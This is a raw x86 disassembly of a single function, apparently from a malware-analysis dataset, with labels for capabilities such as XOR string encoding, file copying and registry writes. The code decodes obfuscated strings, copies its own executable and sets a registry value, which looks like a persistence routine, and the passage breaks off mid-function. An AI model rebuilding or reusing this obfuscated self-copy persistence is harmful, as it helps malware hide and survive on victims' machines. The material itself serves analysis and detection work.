Function at 0x421000
Capabilities:
Check if file exists
Copy file
Encode data using xor
Get file attributes
Get session user name
Set registry value

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x52cc6a
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x5a8
mov dword [ebp - 0x14], 0
xorps xmm0, xmm0
push esi
push edi
mov dword [ebp - 0x39], 0xd7d6d1fd
xor ecx, ecx
mov word [ebp - 0x35], 0xe4fe
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x39], al
inc ecx
cmp ecx, 6
jb 0x421062
mov dword [0x565548], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x39]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x7c], xmm0
mov dword [ebp - 0x6c], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x68], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421095
sub ecx, edx
lea eax, [ebp - 0x39]
push ecx
push eax
lea ecx, [ebp - 0x7c]
call fcn.00402c40
mov dword [ebp - 4], 0
lea edx, [ebp - 0x7c]
cmp dword [ebp - 0x68], 0x10
cmovae edx, dword [ebp - 0x7c]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4210c2
mov edi, closesocket
sub ecx, esi
mov esi, dword [0x562b3c]
mov eax, edi
sub eax, esi
cmp eax, ecx
jb 0x4239ec
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0x21c]
call fcn.004946d0
mov byte [ebp - 4], 2
mov ecx, dword [ebp - 0x68]
cmp ecx, 0x10
jb 0x421140
mov edx, dword [ebp - 0x7c]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421136
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0xe4f0e4e8
mov byte [ebp - 0x34], 0xfa
xor ecx, ecx
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 5
jb 0x421165
mov dword [0x565544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421198
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 3
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4211c2
sub ecx, esi
mov eax, edi
mov esi, dword [0x562b3c]
sub eax, esi
cmp eax, ecx
jb 0x4239f1
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0x27c]
call fcn.004946d0
mov byte [ebp - 4], 5
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x42123b
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421231
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x38], 0xe2f6e0e2
mov byte [ebp - 0x34], 0xfb
xor ecx, ecx
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x38], al
inc ecx
cmp ecx, 5
jb 0x421260
mov dword [0x565544], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x38]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421293
sub ecx, edx
lea eax, [ebp - 0x38]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 6
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4212c0
sub ecx, esi
mov eax, edi
mov esi, dword [0x562b3c]
sub eax, esi
cmp eax, ecx
jb 0x4239f6
cmp dword [0x562b40], 0x10
mov eax, 0x562b2c
push esi
cmovae eax, dword [0x562b2c]
push eax
push ecx
push edx
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0x1e8]
call fcn.004946d0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x421339
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x42132f
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a6b
push ecx
push edx
call fcn.00504f31
add esp, 8
push 0x200
lea eax, [ebp - 0x5b8]
push 0
push eax
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x5b8]
push 0x200
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x1f0], 0
lea ecx, [ebp - 0x5b8]
mov dword [ebp - 0x1ec], 0
movups xmmword [ebp - 0x200], xmm0
lea edx, [ecx + 1]
nop word [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421390
sub ecx, edx
lea eax, [ebp - 0x5b8]
push ecx
push eax
lea ecx, [ebp - 0x200]
call fcn.00402c40
push 0x104
lea eax, [ebp - 0x3b8]
mov byte [ebp - 4], 9
push 0
push eax
mov dword [ebp - 0x204], 0x104
call fcn.00506f10
add esp, 0xc
lea eax, [ebp - 0x204]
push eax
lea eax, [ebp - 0x3b8]
push eax
call dword [sym.imp.ADVAPI32.dll_GetUserNameA]
xorps xmm0, xmm0
mov dword [ebp - 0x3f], 0xf3f2ffe3
mov dword [ebp - 0x3b], 0xe6e5f5ff
xor ecx, ecx
mov dword [ebp - 0x37], 0xfbedf9f3
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x3f], al
inc ecx
cmp ecx, 0xc
jb 0x421413
mov dword [0x565528], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x3f]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421450
sub ecx, edx
lea eax, [ebp - 0x3f]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402c40
cmp dword [ebp - 0x84], 0x10
mov eax, 0x1fe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x98]
cmovae eax, dword [ebp - 0x98]
push eax
call fcn.0051393f
mov ecx, dword [ebp - 0x84]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x4214ca
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4214c0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x4239fb
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
test esi, esi
je 0x421ce8
mov ecx, esi
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0xb0], xmm0
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421510
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xb0]
call fcn.00402c40
mov byte [ebp - 4], 0xa
xorps xmm0, xmm0
mov byte [ebp - 0x7c], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x7b], xmm0
mov dword [ebp - 0x6b], 0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 1
jb 0x421548
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421580
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov eax, 0x9fe
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0xb0]
cmovae eax, dword [ebp - 0x64]
push eax
call fcn.0048c9d0
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x4215f1
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4215e7
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a1a
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x208], 0x10
lea ecx, [ebp - 0x21c]
mov edx, dword [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x20c]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x421657
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov ecx, dword [ebp - 0x14]
lea eax, [esi + edi]
add esp, 0xc
mov byte [eax + ecx], 0
jmp 0x42166a
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
push 0x5651d0
cmovae esi, dword [ebp - 0xb0]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x423a00
test esi, esi
je 0x4216e0
mov ecx, esi
lea edx, [ecx + 1]
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4216a0
sub ecx, edx
je 0x4216e0
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4216d1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4216d1
cmp eax, 0x20
je 0x4216d1
cmp eax, 0x45
je 0x4216d1
cmp eax, 0x24
jne 0x4216e0
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x421700
push 0x5651d0
call fcn.00504243
add esp, 4
lea ecx, [ebp - 0xb0]
call fcn.0041deb0
test al, al
je 0x421caa
xorps xmm0, xmm0
mov dword [ebp - 0x37], 0xd7c9d581
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
xor ecx, ecx
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 4
jb 0x421721
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x37]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x144], xmm0
mov dword [ebp - 0x134], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x130], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421760
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x144]
call fcn.00402c40
mov byte [ebp - 4], 0xc
lea eax, [ebp - 0x144]
cmp dword [ebp - 0x130], 0x10
xorps xmm0, xmm0
mov byte [ebp - 0x7c], 0xf3
cmovae eax, dword [ebp - 0x144]
xor ecx, ecx
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x7b], xmm0
mov dword [ebp - 0x6b], 0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 1
jb 0x4217b2
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4217e5
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
mov byte [ebp - 4], 0xd
lea edx, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
cmovae edx, dword [ebp - 0x64]
mov ecx, edx
lea esi, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421810
sub ecx, esi
mov eax, closesocket
mov esi, dword [ebp - 0xa0]
sub eax, esi
cmp eax, ecx
jb 0x423a06
cmp dword [ebp - 0x9c], 0x10
lea eax, [ebp - 0xb0]
push ecx
cmovae eax, dword [ebp - 0xb0]
push edx
push esi
push eax
push ecx
push dword [ebp - 0x80]
lea ecx, [ebp - 0xc8]
call fcn.004946d0
mov byte [ebp - 4], 0xe
lea ecx, [ebp - 0x21c]
cmp dword [ebp - 0x208], 0x10
mov edx, dword [ebp - 0xb8]
cmovae ecx, dword [ebp - 0x21c]
mov eax, dword [ebp - 0xb4]
mov edi, dword [ebp - 0x20c]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x4218c5
cmp dword [ebp - 0xb4], 0x10
lea esi, [ebp - 0xc8]
lea eax, [edx + edi]
cmovae esi, dword [ebp - 0xc8]
mov dword [ebp - 0xb8], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov ecx, dword [ebp - 0x14]
lea eax, [edi + esi]
add esp, 0xc
mov byte [eax + ecx], 0
lea eax, [ebp - 0xc8]
jmp 0x4218d8
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xc8]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
mov dword [ebp - 0x104], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x114], xmm0
mov dword [ebp - 0x100], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x114], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x104], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov byte [ebp - 4], 0xf
lea ecx, [ebp - 0x114]
push dword [ebp - 0x1c]
call fcn.0048c9d0
mov dword [ebp - 0x88], 0
xorps xmm0, xmm0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x84], 0
movups xmm0, xmmword [eax]
movups xmmword [ebp - 0x98], xmm0
movq xmm0, qword [eax + 0x10]
movq qword [ebp - 0x88], xmm0
mov dword [eax + 0x10], 0
mov dword [eax + 0x14], 0xf
mov byte [eax], 0
mov eax, 0x7c09fe
mov dword [ebp - 0x1c], eax
mov byte [ebp - 4], 0x11
mov ecx, dword [ebp - 0x100]
cmp ecx, 0x10
jb 0x4219bc
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4219b2
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a0b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
mov byte [ebp - 0x114], 0
mov byte [ebp - 4], 0x12
mov ecx, dword [ebp - 0xb4]
cmp ecx, 0x10
jb 0x421a15
mov edx, dword [ebp - 0xc8]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a0b
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a0b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0xb8], 0
mov dword [ebp - 0xb4], 0xf
mov byte [ebp - 0xc8], 0
mov byte [ebp - 4], 0x13
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x421a68
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a5e
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a0b
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 0x14
mov ecx, dword [ebp - 0x130]
cmp ecx, 0x10
jb 0x421aa6
mov edx, dword [ebp - 0x144]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421a9c
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a0b
push ecx
push edx
call fcn.00504f31
add esp, 8
sub esp, 0x18
lea eax, [ebp - 0x98]
mov ecx, esp
push eax
call fcn.0048ccc0
call fcn.0040dee0
add esp, 0x18
test al, al
jne 0x421c6c
cmp dword [ebp - 0x84], 0x10
lea ecx, [ebp - 0x98]
push 0
cmovae ecx, dword [ebp - 0x98]
lea eax, [ebp - 0x200]
cmp dword [ebp - 0x1ec], 0x10
push ecx
cmovae eax, dword [ebp - 0x200]
push eax
call dword [sym.imp.KERNEL32.dll_CopyFileA]
test eax, eax
je 0x421c6c
movaps xmm0, xmmword [0x551c40]
xor ecx, ecx
movups xmmword [ebp - 0x1d0], xmm0
mov dword [ebp - 0x1b0], 0xb787a4a1
movaps xmm0, xmmword [0x5513f0]
movups xmmword [ebp - 0x1c0], xmm0
mov dword [ebp - 0x1ac], 0xb9bca7a1
xorps xmm0, xmm0
mov dword [ebp - 0x1a8], 0xaf8b84b9
mov byte [ebp - 0x1a4], 0xb5
movups xmmword [ebp - 0x1a3], xmm0
mov dword [ebp - 0x193], 0
mov word [ebp - 0x18f], 0
mov byte [ebp - 0x18d], 0
nop dword [eax + eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x1d0], al
inc ecx
cmp ecx, 0x2d
jb 0x421b70
mov dword [0x565534], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x1d0]
mov byte [ebp - 0x1a3], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421bb0
sub ecx, edx
lea eax, [ebp - 0x1d0]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0x14]
push ecx
mov eax, 0x407c09fe
mov dword [ebp - 0x1c], eax
lea eax, [ebp - 0x64]
cmovae eax, dword [ebp - 0x64]
push 0x20006
push 0
push eax
push connect
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov ecx, dword [ebp - 0x50]
test eax, eax
sete al
mov byte [ebp - 0x15], al
cmp ecx, 0x10
jb 0x421c32
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421c25
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a10
push ecx
push edx
call fcn.00504f31
mov al, byte [ebp - 0x15]
add esp, 8
test al, al
je 0x421c6c
lea ecx, [ebp - 0x98]
call fcn.00402c10
lea ecx, [ebp - 0x21c]
mov esi, eax
call fcn.00402c10
push dword [ebp - 0x88]
push esi
push 1
push 0
push eax
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
push dword [ebp - 0x14]
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [ebp - 4], 0xa
mov ecx, dword [ebp - 0x84]
cmp ecx, 0x10
jb 0x421caa
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421ca0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a15
push ecx
push edx
call fcn.00504f31
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x421ce8
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421cde
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a1a
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x37], 0xe2fcf5fb
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
xor ecx, ecx
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
nop dword [eax]
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x37], al
inc ecx
cmp ecx, 4
jb 0x421d10
mov dword [0x5655d8], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x37]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x114], xmm0
mov dword [ebp - 0x104], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x100], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421d50
sub ecx, edx
lea eax, [ebp - 0x37]
push ecx
push eax
lea ecx, [ebp - 0x114]
call fcn.00402c40
or dword [ebp - 0x1c], 0x200
lea eax, [ebp - 0x114]
cmp dword [ebp - 0x100], 0x10
cmovae eax, dword [ebp - 0x114]
push eax
call fcn.0051393f
mov ecx, dword [ebp - 0x100]
add esp, 4
mov dword [ebp - 0x80], eax
cmp ecx, 0x10
jb 0x421dca
mov edx, dword [ebp - 0x114]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421dc0
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a1f
push ecx
push edx
call fcn.00504f31
add esp, 8
xorps xmm0, xmm0
mov dword [ebp - 0x104], 0
mov dword [ebp - 0x100], 0xf
xor ecx, ecx
mov byte [ebp - 0x114], 0
mov dword [ebp - 0x42], 0xe7fdfcee
mov dword [ebp - 0x3e], 0xe5e7f1e0
mov dword [ebp - 0x3a], 0xfcf6eae7
mov word [ebp - 0x36], 0xf0f2
mov byte [ebp - 0x34], 0xf8
movups xmmword [ebp - 0x33], xmm0
mov dword [ebp - 0x23], 0
mov word [ebp - 0x1f], 0
mov byte [ebp - 0x1d], 0
nop
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x42], al
inc ecx
cmp ecx, 0xf
jb 0x421e20
mov dword [0x565558], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x42]
mov byte [ebp - 0x33], 0
movups xmmword [ebp - 0x98], xmm0
mov dword [ebp - 0x88], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x84], 0
nop dword [eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421e60
sub ecx, edx
lea eax, [ebp - 0x42]
push ecx
push eax
lea ecx, [ebp - 0x98]
call fcn.00402c40
or dword [ebp - 0x1c], 0x400
lea eax, [ebp - 0x98]
cmp dword [ebp - 0x84], 0x10
cmovae eax, dword [ebp - 0x98]
push eax
call fcn.0051393f
mov ecx, dword [ebp - 0x84]
add esp, 4
mov esi, eax
cmp ecx, 0x10
jb 0x421ed9
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421ecf
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a24
push ecx
push edx
call fcn.00504f31
add esp, 8
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
test esi, esi
je 0x42339a
mov ecx, esi
mov dword [ebp - 0xa0], 0
xorps xmm0, xmm0
mov dword [ebp - 0x9c], 0
movups xmmword [ebp - 0xb0], xmm0
lea edx, [ecx + 1]
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421f20
sub ecx, edx
push ecx
push esi
lea ecx, [ebp - 0xb0]
call fcn.00402c40
mov byte [ebp - 4], 0x15
xorps xmm0, xmm0
mov byte [ebp - 0x7c], 0xf3
xor ecx, ecx
movups xmmword [ebp - 0x7b], xmm0
mov dword [ebp - 0x6b], 0
mov word [ebp - 0x67], 0
mov byte [ebp - 0x65], 0
mov al, cl
sub al, 0x51
xor byte [ebp + ecx - 0x7c], al
inc ecx
cmp ecx, 1
jb 0x421f58
mov dword [0x565620], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x7c]
mov byte [ebp - 0x7b], 0
movups xmmword [ebp - 0x64], xmm0
mov dword [ebp - 0x54], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x50], 0
nop dword [eax + eax]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x421f90
sub ecx, edx
lea eax, [ebp - 0x7c]
push ecx
push eax
lea ecx, [ebp - 0x64]
call fcn.00402c40
or dword [ebp - 0x1c], 0x1000
mov byte [ebp - 4], 0x16
lea eax, [ebp - 0x64]
cmp dword [ebp - 0x50], 0x10
lea ecx, [ebp - 0xb0]
cmovae eax, dword [ebp - 0x64]
push eax
call fcn.0048c9d0
mov byte [ebp - 4], 0x15
mov ecx, dword [ebp - 0x50]
cmp ecx, 0x10
jb 0x422000
mov edx, dword [ebp - 0x64]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x421ff6
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x423a4d
push ecx
push edx
call fcn.00504f31
add esp, 8
cmp dword [ebp - 0x1d4], 0x10
lea ecx, [ebp - 0x1e8]
mov edx, dword [ebp - 0xa0]
cmovae ecx, dword [ebp - 0x1e8]
mov eax, dword [ebp - 0x9c]
mov edi, dword [ebp - 0x1d8]
sub eax, edx
mov dword [ebp - 0x14], edx
push edi
push ecx
cmp edi, eax
ja 0x422065
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
lea eax, [edi + edx]
cmovae esi, dword [ebp - 0xb0]
mov dword [ebp - 0xa0], eax
lea eax, [esi + edx]
push eax
call fcn.00506990
mov eax, dword [ebp - 0x14]
add esp, 0xc
add eax, esi
mov byte [eax + edi], 0
jmp 0x42207e
mov byte [ebp - 0x14], 0
lea ecx, [ebp - 0xb0]
push dword [ebp - 0x14]
push edi
call fcn.00492b30
mov edi, dword [ebp - 0x1d8]
cmp dword [ebp - 0x9c], 0x10
lea esi, [ebp - 0xb0]
push 0x5651d0
cmovae esi, dword [ebp - 0xb0]
call fcn.00504232
add esp, 4
test eax, eax
jne 0x423a29
test esi, esi
je 0x4220f3
mov ecx, esi
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x4220b0
sub ecx, edx
je 0x4220f3
push esi
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
cmp eax, 0xffffffff
jne 0x4220e1
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0x44
je 0x4220e1
cmp eax, 0x20
je 0x4220e1
cmp eax, 0x45
je 0x4220e1
cmp eax, 0x24
jne 0x4220f3
push 0x5651d0
call fcn.00504243
add esp, 4
jmp 0x422170
push 0x5651d0
call fcn.00504243
add esp, 4
mov dword [ebp - 0x11c], 0
cmp dword [ebp - 0x9c], 0x10
lea edx, [ebp - 0xb0]
xorps xmm0, xmm0
mov dword [ebp - 0x118], 0
cmovae edx, dword [ebp - 0xb0]
mov ecx, edx
movups xmmword [ebp - 0x12c], xmm0
lea esi, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x422137
sub ecx, esi
push ecx
push edx
lea ecx, [ebp - 0x12c]
call fcn.00402c40
mov byte [ebp - 4], 0x17
lea ecx, [ebp - 0x12c]
mov eax, dword [ebp - 0x1c]
or eax, 1
mov dword [ebp - 0x1c], eax
mov dword [ebp - 0x14], eax
call fcn.0041deb0
mov byte [ebp - 0x15], 0
test al, al
je 0x422174
mov byte [ebp - 0x15], 1
mov dword [ebp - 4], 0x15
